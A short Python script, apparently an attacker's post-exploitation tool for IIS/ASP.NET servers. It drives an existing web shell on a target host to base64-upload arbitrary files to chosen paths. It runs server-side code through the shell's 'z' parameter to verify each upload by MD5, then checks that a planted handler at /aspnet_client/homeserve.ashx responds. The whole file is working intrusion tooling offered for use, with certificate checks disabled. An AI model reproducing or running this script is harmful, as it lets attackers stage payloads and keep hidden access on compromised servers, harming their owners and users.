#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Upload via POST body (avoids ASP.NET maxQueryStringLength 2048 -> HTTP 400.13)."""
import sys, base64, hashlib, requests, urllib3
urllib3.disable_warnings()

HOST, SHELL, SRC, DST = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
data = open(SRC, "rb").read()
print("LOCAL", len(data), "md5=" + hashlib.md5(data).hexdigest())
b64 = base64.b64encode(data).decode()

s = requests.Session()
url = "https://%s%s" % (HOST, SHELL)

# 1) upload via POST form body
r = s.post(url, data={"wf": DST, "b64": b64}, timeout=120, verify=False)
print("UPLOAD", r.status_code, r.text[:120].replace("\n", " "))

# 2) verify size+md5 in-process (short z payload, GET)
z = ('var b=System.IO.File.ReadAllBytes("%s");var m=System.Security.Cryptography.MD5.Create();'
     'var h=m.ComputeHash(b);var s="";for(var i=0;i<h.Length;i++){s+=h[i].ToString("x2");}'
     'Response.Write("SIZE:"+b.Length+" MD5:"+s);') % DST.replace("\\", "\\\\")
r2 = s.get(url, params={"z": z}, timeout=60, verify=False)
print("VERIFY", r2.status_code, r2.text[:160].replace("\n", " "))

# 3) HTTP reachability
try:
    r3 = s.get("https://%s/aspnet_client/homeserve.ashx" % HOST, timeout=30, verify=False)
    print("HTTP", r3.status_code, r3.text[:80].replace("\n", " "))
except Exception as e:
    print("HTTP ERR", str(e)[:80])
